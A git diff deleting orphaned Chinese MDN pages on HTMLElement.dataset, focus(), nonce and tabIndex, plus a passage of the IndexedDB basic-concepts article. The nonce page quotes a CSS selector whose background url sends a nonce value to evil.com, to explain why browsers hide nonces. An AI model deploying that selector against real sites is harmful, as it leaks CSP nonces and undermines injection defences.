b/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html deleted file mode 100644 index 6607ae59b3..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: HTMLElement.dataset -slug: orphaned/Web/API/HTMLOrForeignElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset -original_slug: Web/API/HTMLOrForeignElement/dataset ---- -<p>{{ APIRef }}</p> - -<p><code><strong>HTMLElement.dataset</strong></code>属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有<a href="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定义数据属性</a>(<em>data-*</em>)集。</p> - -<p>它是一个<a href="/zh-CN/DOM/DOMStringMap">DOMString的映射</a>,每个自定义数据属性的一个条目。</p> - -<p>请注意,<strong>dataset </strong>属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。</p> - -<p>还要注意,一个HTML <code><strong>data-</strong></code><em>attribute </em>及其对应的DOM <code><strong>dataset.</strong></code><em>property</em> 不共享相同的名称,但它们总是相似的:</p> - -<ul> - <li>在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母,数字和以下字符: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) - 但不是任何ASCII大写字母(A到Z)。</li> - <li>JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称,但在 camelCase中,没有破折号,点等。</li> -</ul> - -<p> </p> - -<p>自定义的数据属性名称是以 <code>data- </code>开头的。 它必须要遵循 <a class="external" href="http://www.w3.org/TR/REC-xml/#NT-Name" rel="external nofollow" title="http://www.w3.org/TR/REC-xml/#NT-Name">the production rule of xml names</a> 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>)。此外不应包含ASCII 码大写字母。</p> - -<p>自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:</p> - -<ul> - <li>前缀 <code>data-</code> 被去除(包括减号);</li> - <li>对于每个在ASCII小写字母<span style="line-height: 1.5;"> </span><code style="font-style: normal;">a到</code><span style="line-height: 1.5;"> </span><code style="font-style: normal;">z前面</code>的减号 (<code>U+002D</code>),减号会被去除,并且字母会转变成对应的大写字母。</li> - <li>其他字符(包含其他减号)都不发生变化</li> -</ul> - -<p>与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:</p> - -<ul> - <li>约束:减号在转变前一定不能紧跟一个ASCII小写字母 <code style="font-style: normal;">a</code> 到 <code style="font-style: normal;">z之间;</code></li> - <li>添加 <code>data-</code> 前缀;</li> - <li>任何ASCII大写字母 <code>A</code> 到 <code>Z</code> 将转化成一个减号紧跟对应的小写字母;</li> - <li>其他字符不会发生变化</li> -</ul> - -<p>上面规则的约束是为了保证这两种转换是正好相反的转换。</p> - -<p>例如,属性名称 <code>data-abc-def</code> 与键值 <code>abcDef 相对应。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><em>string</em> = <em>element</em>.dataset.<em>camelCasedName</em>; -<em>element.</em>dataset.<em>camelCasedName</em> = <em>string</em>;</pre> - -<h2 id="实例">实例</h2> - -<pre class="brush: js"><div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe -</div> - -var el = document.querySelector('#user'); - -// el.id == 'user' -// el.dataset.id === '1234567890' -// el.dataset.user === 'johndoe' -// el.dataset.dateOfBirth === '' - -el.dataset.dateOfBirth = '1960-10-03'; // set the DOB. - -// 'someDataAttr' in el.dataset === false - -el.dataset.someDataAttr = 'mydata'; -// 'someDataAttr' in el.dataset === true -</pre> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>8</td> - <td>{{ CompatGeckoDesktop("6.0") }}</td> - <td>11</td> - <td>11.10</td> - <td>6</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - <td>---</td> - </tr> - </tbody> -</table> -</div> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html deleted file mode 100644 index 2e465a6b0a..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/focus/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: HTMLElement.focus() -slug: orphaned/Web/API/HTMLOrForeignElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus -original_slug: Web/API/HTMLOrForeignElement/focus ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。</span></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>element</var>.focus(<var>options</var>); // Object parameter</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>options</code> {{optional_inline}}</dt> - <dd>An optional object providing options to control aspects of the focusing process. This object may contain the following property:</dd> - <dd> - <dl> - <dt><code>preventScroll</code> {{optional_inline}}</dt> - <dd>A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of <code>false</code> for <code>preventScroll</code> (the default) means that the browser will scroll the element into view after focusing it. If <code>preventScroll</code> is set to <code>true</code>, no scrolling will occur.</dd> - </dl> - </dd> -</dl> - -<h2 id="示例">示例</h2> - -<h3 id="将焦点设置到文本框上">将焦点设置到文本框上</h3> - -<h4 id="JavaScript">JavaScript</h4> - -<pre class="brush: js">focusMethod = function getFocus() { - document.getElementById("myTextField").focus(); -}</pre> - -<h4 id="HTML">HTML</h4> - -<pre class="brush: html"><input type="text" id="myTextField" value="Text field."> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button> -</pre> - -<h4 id="结果">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p> - -<h3 id="将焦点设置到按钮上">将焦点设置到按钮上</h3> - -<h4 id="JavaScript_2">JavaScript</h4> - -<pre>focusMethod = function getFocus() { - document.getElementById("myButton").focus(); -}</pre> - -<h4 id="HTML_2">HTML</h4> - -<pre><button type="button" id="myButton">Click Me!</button> -<p></p> -<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button></pre> - -<h4 id="结果_2">结果</h4> - -<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p> - -<h3 id="Focus_with_focusOption">Focus with focusOption</h3> - -<h4 id="JavaScript_3">JavaScript</h4> - -<pre class="brush: js">focusScrollMethod = function getFocus() { - document.getElementById("myButton").focus({preventScroll:false}); -} -focusNoScrollMethod = function getFocusWithoutScrolling() { - document.getElementById("myButton").focus({preventScroll:true}); -} - -</pre> - -<h4 id="HTML_3">HTML</h4> - -<pre class="brush: html"><button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button> -<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button> - -<div id="container" style="height: 1000px; width: 1000px;"> -<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button> -</div> - -</pre> - -<h4 id="结果_3">结果</h4> - -<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="备注">备注</h2> - -<ul> - <li>If you call <code>HTMLElement.focus()</code> from a mousedown event handler, you must call <code>event.preventDefault()</code> to keep the focus from leaving the <code>HTMLElement</code></li> - <li> - <p>Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout <a href="https://blog.whatwg.org/focusing-on-focus">WHATWG blog</a> for more info.</p> - </li> -</ul> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.focus")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.</li> - <li>{{ domxref("document.activeElement") }} to know which is the currently focused element.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 9b3c39fbd4..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: orphaned/Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLOrForeignElement/nonce ---- -<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> - -<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。</p> - -<p>在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce -HTMLElement.nonce = <em>nonce</em></pre> - -<h3 id="访问nonce属性值">访问nonce属性值</h3> - -<p>以前,并不是所有的浏览器都支持 <code>nonce</code> IDL属性,因此在实际应用场景中,尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选:</p> - -<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> - -<p>然而,最新的浏览器版本都隐藏了 <code>nonce</code> 值(返回一个空值)。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> - -<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:</p> - -<pre class="notranslate">script[nonce~=whatever] { - background: url("https://evil.com/nonce?whatever"); -}</pre> - -<h2 id="说明">说明</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">说明</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初始定义</td> - </tr> - </tbody> -</table> - -<h2 id="支持的浏览器">支持的浏览器</h2> - -<div> -<p>{{Compat("api.HTMLElement.nonce")}}</p> -</div> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html deleted file mode 100644 index 576b630344..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/tabindex/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: orphaned/Web/API/HTMLOrForeignElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex -original_slug: Web/API/HTMLOrForeignElement/tabIndex ---- -<div> -<div>{{ APIRef("HTML DOM") }}</div> -</div> - -<h3 id="Summary" name="Summary">概述</h3> - -<p>获取或设置当前元素的tab键激活顺序.</p> - -<h3 id="Syntax" name="Syntax">语法</h3> - -<pre class="eval">element.tabIndex = <em>index </em><em>index </em>= element.tabIndex -</pre> - -<h3 id="Parameters" name="Parameters">参数</h3> - -<ul> - <li><code>index</code>是一个数字,表示顺序。取值需要在0到32767之间。</li> -</ul> - -<p>Tab键的遍历顺序是这样的:</p> - -<ol> - <li>对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。</li> - <li>对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。</li> - <li>处于不可用状态的元素不会被遍历到。</li> -</ol> - -<p>支持tabIndex属性的元素有:a,area,button,input,object,select和textarea<font face="monospace" size="3"><span style="line-height: 19.5px;">。</span></font></p> - -<p>tabIndex的值不需要是连续的,也不需要以某个特定值开始。</p> - -<h3 id="Example" name="Example">例子</h3> - -<pre>var b1 = document.getElementById("button1"); -b1.tabIndex = 1; -</pre> - -<h3 id="Specification" name="Specification">规范</h3> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40676705">W3C DOM Level 2 HTML tabIndex</a></p> - -<p>了解更多,请查看: <a href="/zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex" title="zh-cn/Key-navigable_custom_DHTML_widgets#The_solution:_changes_to_standard_behavior_of_tabindex">The solution: changes to standard behavior of tabindex</a></p> - -<p>{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html deleted file mode 100644 index 3d61520d83..0000000000 --- a/files/zh-cn/orphaned/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: 基本概念 -slug: orphaned/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -tags: - - IndexedDB 总述 -translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB -original_slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB ---- -<p>{{DefaultAPISidebar("IndexedDB")}}</p> - -<div class="summary"> -<p><strong>IndexedDB </strong>是一种在用户浏览器中持久存储数据的方法。它允许您不考虑网络可用性,创建具有丰富查询能力的可离线 Web 应用程序。IndexedDB 对于存储大量数据的应用程序(例如借阅库中的 DVD 目录)和不需要持久 Internet 连接的应用程序(例如邮件客户端、待办事项列表或记事本)很有用。</p> -</div> - -<h2 id="关于本文档">关于本文档</h2> - -<p>本简介讨论了 IndexedDB 中的基本概念和术语。为您提供了概览并解释了关键概念。</p> - -<p>您会发现以下非常有用的内容:</p> - -<ul> - <li>有关 IndexedDB 的设计和结构的概述,请参阅<a href="#concepts">概览</a>。</li> - <li>要了解有关 IndexedDB 术语的更多信息,请参阅<a href="#definitions">定义</a>部分。</li> - <li>有关如何使用 API 的详细教程,请参阅<a href="/zh-CN/docs/Web/API/IndexedDB_API/Using_IndexedDB">使用 IndexedDB</a>。</li> - <li>有关 IndexedDB API 的参考文档,请参阅主要的 <a href="/zh-CN/docs/Web/API/IndexedDB_API">IndexedDB API</a> 文章及其子页面,这些文章记录了 IndexedDB 使用的对象类型。</li> - <li>有关浏览器如何处理在后台存储数据的更多信息,请阅读<a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">浏览器存储限制和清理标准</a>。</li> -</ul> - -<h2 id="IndexedDB概况"> IndexedDB概况</h2> - -<p>使用IndexedDB,你可以使用一个key作为索引进行存储或者获取数据。 你可以在事务(transaction)中完成对数据的修改。和大多数web存储解决方案相同,indexedDB也遵从同源协议(<a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>). 所以你只能访问同域中存储的数据,而不能访问其他域的。</p> - -<p>IndexedDB 是一种异步(<a href="/zh-cn/IndexedDB#Asynchronous_API">asynchronous</a>) API,异步API适用于大多数情况,包括<a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>。因为在<a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>上的使用,它过去也有一个同步(<a href="https://developer.mozilla.org/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">synchronous</a>)的版本,但是因为缺少web社区的支持,它已经被从规范中移除了。</p> - -<p>IndexedDB 过去有一个竞争规范—— WebSQL 数据库,但是W3C组织在2010年11月18日废弃了webSql。尽管两者都是存储的解决方案,但是他们提供的不是同样的功能。IndexedDB 和WebSQL的不同点在于WebSQL 是关系型数据库访问系统,IndexedDB 是索引表系统(key-value型)。</p> - -<h2 id="基本概念">基本概念</h2> - -<p>如果你因为使用其他类型数据库有某些固定思维,那么你在使用IndexedDB的时候可能会感到困惑,所以请牢记以下重要的概念:</p> - -<ul> - <li> - <p><strong>IndexedDB 数据库使用 key-value 键值对储存数据.</strong> values 数据可以是结构非常复杂的对象,key可以是对象自身的属性。你可以对对象的任何属性创建索引(index)以实现快速查询和列举排序。key可以是二进制对象。</p> - </li> - <li> - <p><strong>IndexedDB 是事务模式的数据库</strong>. 任何操作都发生在事务(<a href="#gloss_transaction">transaction)</a>中。 IndexedDB API提供了索引(indexes)、表(tables)、指针(cursors)等等,但是所有这些必须是依赖于某种事务的。因此,你不能在事务外执行命令或者打开指针。事务(transaction)有生存周期,在生存周期以后使用它会报错。并且,事务(transaction)是自动提交的,不可以手动提交。</p> - - <p>当用户在不同的标签页同时打开Web应用的两个实例时,这个事务模型就会非常有用。如果没有事务操作的支持,这两个实例就会互相影响对方的修改。如果你不熟悉数据库的事务模型,请参考<a class="link-https" href="https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E5%BA%93%E4%BA%8B%E5%8A%A1">数据库事务(维基百科)</a>。 同时参考<a href="https://en.wikipedia.org/wiki/Database_transaction">transaction</a>文章中关于事务的定义部分。</p> - </li> - <li> - <p><strong>The IndexedDB API 基本上是异步的。</strong> IndexedDB的API不通过return语句返回数据,而是需要你提供一个回调函数来接受数据。执行API时,你不以同步(synchronous)方式对数据库进行“存储”和“读取”操作,而是向数据库发送一个操作“请求”。当操作完成时,数据库会以DOM事件的方式通知你,同时事件的类型会告诉你这个操作是否成功完成。这个过程听起来会有些复杂,但是里面是有明智的原因的。这个和<a href="/zh-cn/DOM/XMLHttpRequest">XMLHttpRequest</a>请求是类似的</p> - </li> - <li> - <p><strong>IndexedDB数据库“请求”无处不在。 </strong>我们上边提到,数据库“请求”负责接受成功或失败的DOM事件。每一个“请求”都包含<code>onsuccess</code>和<code>onerror事件</code>属性,同时你还对“事件”调用addEventListener()和removeEventListener()。“请求”还包括<code>readyState,</code><code>result</code>和<code>errorCode属性,用来表示“请求”的状态。result属性尤其神奇,他可以根据“请求”生成的方式变成不同的东西,例如:</code>IDBCursor实例、刚插入数据库的数值对应的键值(key)等<code>。</code></p> - </li> - <li> - <p><strong>IndexedDB在结果准备好之后通过DOM事件通知用户。</strong> DOM事件总是有一个类型(<code>type</code>)属性(在IndexedDB中,该属性通常设置为<code>success</code>或<code>error</code>)。DOM事件还有一个目标(<code>target</code>)属性,用来告诉事件是被谁触发的。通常情况下,目标(<code>target</code>)属性是数据库操作生成的IDBRequest。成功(success)事件不弹出提示并且不能撤销,错误(error)事件会弹出提示且可以撤销。这一点是非常重要的,因为除非错误事件被撤销,否则他们会终止所在的任何事务。</p> - </li> - <li> - <p><strong>IndexedDB是面向对象的。</strong>indexedDB不是用二维表来表示集合的关系型数据库。这一点非常重要,将影响你设计和建立你的应用程序。</p> - - <p>传统的关系型数据库,你需要用到二维表来存储数据集合(每一行代表一个数据,每一列代表一个属性),indexedDB有所不同,它要求你为一种数据创建一个对象仓库(object Store),只要这种数据是一个JavaScript对象即可。每个对象仓库都有一个索引(index)集合以方便查询和迭代遍历。如果你不熟悉面向对象的数据库管理系统,可以参考<a href="https://en.wikipedia.org/wiki/Object_database">维基百科有关对象数据库的内容</a></p> - </li> - <li> - <p><strong>indexedDB不使用结构化查询语言(SQL)。</strong>它通过索引(index)所产生的指针(cursor)来完成查询操作,从而使你可以迭代遍历到结果集合。如果你不熟悉NoSQL系统,可以参考<a href="https://en.wikipedia.org/wiki/Object_database">维基百科相关文章</a>。</p> - </li> - <li> - <p><strong>IndexedDB遵循同源(same-origin)策略</strong> “源”指脚本所在文档URL的域名、应用层协议和端口。每一个“源”都有与其相关联的数据库。在同一个“源”内的所有数据库都有唯一、可区别的名称。</p> - - <p>IndexedDB的安全机制避免应用访问非同“源”的数据。例如,<a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a>的应用或页面可以访问<a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>的数据,因为他们同“源”。但是它们不能访问<a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a>(不同端口)或<a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a>(不同协议)的数据,因为他们不同“源”。</p> - </li> - <li> - <div class="blockIndicator note"> - <p>注意:第三方窗口上下文(例如HTML元素<strong>iframe</strong>)可以访问它所嵌入的网页的IndexedDB,除非浏览器被设置为<a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</p> - </div> - </li> -</ul> - -<h2 id="名词解释">名词解释</h2> - -<p>本节定义并解释了IndexedDB API中所使用的术语</p> - -<h3 id="数据库">数据库</h3> - -<dl> - <dt><strong>数据库(database)</strong></dt> - <dd>一个信息库,通常包含一个或多个 <a href="/zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB$edit#gloss_object_store">object stores</a>. 每个数据库必须包含以下内容:</dd> - <dd> - <ul> - <li>名字(Name)。它标识了一个特定源中的数据库,并且在数据库的整个生命周期内保持不变。 此名字可以为任意字符串值(包括空字符串)。</li> - <li>当前版本(<a href="/zh-CN/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB$edit#gloss_version">version</a>)。当一个数据库首次创建时,它的 version 为1,除非另外指定. 每个数据库在任意时刻只能有一个 version。</li> - </ul> - </dd> - <dt>持久性(durable)</dt> - <dd>在 Firefox 中,IndexedDB 是持久的,也就是说在一个读写事务中,一旦 <code>IDBTransaction.oncomplete</code> 事件被触发,就代表着数据已经确保被写入磁盘中了。</dd> - <dd>从 Firfox 40 起,IndexedDB 事务放松了对持久性的保证以提高性能(参见 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1112702">Bug1112702</a>),这与其他支持 IndexedDB 的浏览器的处理方式相同。在这种情况下,当操作系统被告知去写入数据后 <code>complete</code> 事件便被触发,但此时数据可能还没有真正的写入磁盘。事件触发因此变得更快,但这样会有极小的机会发生以下情况:如果操作系统崩溃或在数据被写入磁盘前断电,那么整个事务都将丢失。由于这种灾难事件是罕见的,大多数使用者并不需要过分担心。</dd> - <dt>对象仓库(object store)</dt> - <dd> - <p>数据在数据库中存储的方式, 数据以键值对形式被对象仓库永久持有。对象仓库中的的数据以 <em><a href="#gloss_key">keys</a></em> 升序排列。</p> - - <p>每一个对象仓库在同一个数据库中必须有唯一的名字。对象存储可以有一个 <em><a href="#gloss_keygenerator">key generator</a></em> 和一个 <em><a href="#gloss_keypath">key path</a>。</em>如果对象仓库有 key path,则使用 <em><a href="#gloss_inline_key">in-line keys</a></em>; 否则使用 <em><a href="#gloss_outofline_key">out-of-line keys</a>。</em></p> - - <p>关于对象仓库的详细文档,请参考 <a href="../../../../zh-cn/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> 或者 <a href="../../../../zh-cn/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>。</p> - </dd> - <dt>版本(version)</dt> - <dd>当第一次创建一个数据库,它的版本为整型1。每个数据库依次有一个版本号; 一个数据库不能同时存在多个版本号。改变版本的唯一方法是通过一个比当前版本号更高的值去打开数据库。这会开启一个 <code>VERSION_CHANGE</code> 事务并且触发 <code>upgradeneeded</code> 事件。只有在该事件的处理函数中才能更新数据库模式。</dd> - <dd>注意:这里的描述以<a href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">最新规范</a>为准,这些规范可能只在最新的浏览器中实现了。老旧的浏览器实现了现在已弃用和移除的 <code>IDBDataBase.setVersion()</code> 方法。</dd> - <dt>数据库连接(database connection)</dt> - <dd>通过打开数据库创建的操作。一个给定的数据库可以同时拥有多个连接。</dd> - <dt>事务(transaction)</dt> - <dd>在一个特定的数据库上,一组具备原子性和持久性的数据访问和数据修改的操作。它是你与数据库交互的方式。并且,任何对于数据库中的数据读和修改的操作只能在事务中进行。</dd> - <dd> - <p>一个数据库连接可以拥有多个与之关联的事务,只要进行写操作事务的<a href="#">作用域</a>不相互重合。事务的作用域在事务被创建时就被确定,指定事务能够进行交互的对象仓库(object store),作用域一旦被确定就会在整个生命周期中保持不变。举个例子,如果一个数据库连接已经有了一个进行写操作的事务,其作用域覆盖 <code>flyingMonkey</code> 对象仓库,你可以开启新的事务其作用于 <code>unicornCentaur</code> 和 <code>unicornPegasus</code> 对象仓库。对于读操作的事务,你可以同时拥有多个,即使他们有重叠的作用域。</p> - - <p>事务被期望拥有较短的生命周期,所以浏览器会终止一个消耗时间过长的事务,为了释放存储资源,运行过久的事务会被锁定。你可以中断一个事务,来回滚事务中对数据库进行的操作。并且你甚至不需要等待事务开始或激活就可以中断它。</p> - - <p>事务有三种模式:读写、只读和版本变更。创建和删除对象仓库(object store)的唯一方法就是通过调用版本变更事务。了解更多关于事务类型的内容,请参考 <a href="/zh-cn/IndexedDB">IndexedDB</a>。</p> - - <p>因为所有的事情都在事务中发生,所以它是 <a href="../../../../zh-cn/IndexedDB/IDBTransaction">IndexedDB</a> 中非常重要的一个概念。了解更多关于事务,尤其是关于它和版本控制的关联,查看 <a href="../../../../zh-cn/IndexedDB/IDBTransaction">IDBTransaction</a> 中的参考文档。关于同步接口的文档,查看 <a href="../../../../zh-cn/IndexedDB/IDBTransactionSync">IDBTransactionSync</a>。</p> - </dd> - <dt>请求(request)</dt> - <dd>在数据库上进行读写操作完成后的操作。每一个请求代表一个读或写操作。</dd> - <dt><a id="索引(index)" name="索引(index)">索引(index)</a></dt> - <dd> - <p>一个对象仓库,专门用来查找另一个对象仓库(object store)中的记录,其中被查找的对象仓库被称为引用对象仓库。索引(index)是一个稳定的键值对(key-value)存储,其记录中的值(value)是引用对象仓库记录中的键(key)。当引用对象仓库中的记录新增、更新或删除时,索引中的记录会自动的进行粒子性增加。索引中的每一条记录只能指向引用对象仓库中的一条记录,但多个索引可以引用同一个对象仓库。当对象仓库发生改变时,所有引用该对象仓库的引用均会自动更新。</p> - - <p>可选地,你也可以适用<a href="#键(key)">键(key)</a>再对象仓库中查找记录。</p> - - <p>了解更多关于如何适用索引,查看<a href="/zh-cn/IndexedDB/Using_IndexedDB#Using_an_index">使用 IndexedDB</a>。index 的参考文档查看<a href="../../../../zh-cn/IndexedDB/IDBKeyRange"> IDBKeyRange</a>。</p> - </dd> -</dl> - -<h3 id="键和值">键和值</h3> - -<dl> - <dt><a id="键(key)" name="键(key)">键(key)</a></dt> - <dd>在对象仓库中阻止和检索被存储起来的值的数据值。数据仓库的键来源于以下三个方式之一:键生成器、键路径和显式指定的值。键必须是一种能够比较大小的数据类型。在同一个对象仓库中每条记录必须有一个独一无二的键,所以你不能在同一个对象仓库中为多个记录设置同样的键。</dd> - <dd> - <p>键可以是以下数据类型:字符串、日期、浮点和数组。对于数组,键的取值可以从空数组到无穷。并且你可以使用嵌套数组。注意,在 Firefox 11 之前的版本键只接受字符串和整形。</p> - - <p>可选地,你也可以通过<a href="#索引(index)">索引(index)</a>来查找记录。</p> - </dd> - <dt>键生成器(key generator)</dt> - <dd>一种生成有序键的机制。如果一个对象仓库并不具备一个键生成器,那么应用程序必须为被存储的记录提供键。生成器在仓库之间并不共享。它更多的是浏览器的实现细节,因为在 Web 开发中你并不会真正的去创建或访问键生成器。</dd> - <dt>内键(in-line key)</dt> - <dd>作为存储值一部分的键。内键由键路径(key path)查找。内键由生成器生成。当内键生成后,它会被键路径存储在值中,它也可以被当作键使用。</dd> - <dt>外键(out-of-line key)</dt> - <dd>与值分开存储的键。</dd> - <dt>键路径(key path)</dt> - <dd>指定浏览器如何从对象仓库或索引存储的值中提取键。一个合法的键路径可以是以下形式:一个空字符串,一个 JavasScript 标识符,或由句点分割的多个 JavaScript 标识符。但不能包括空格。</dd> - 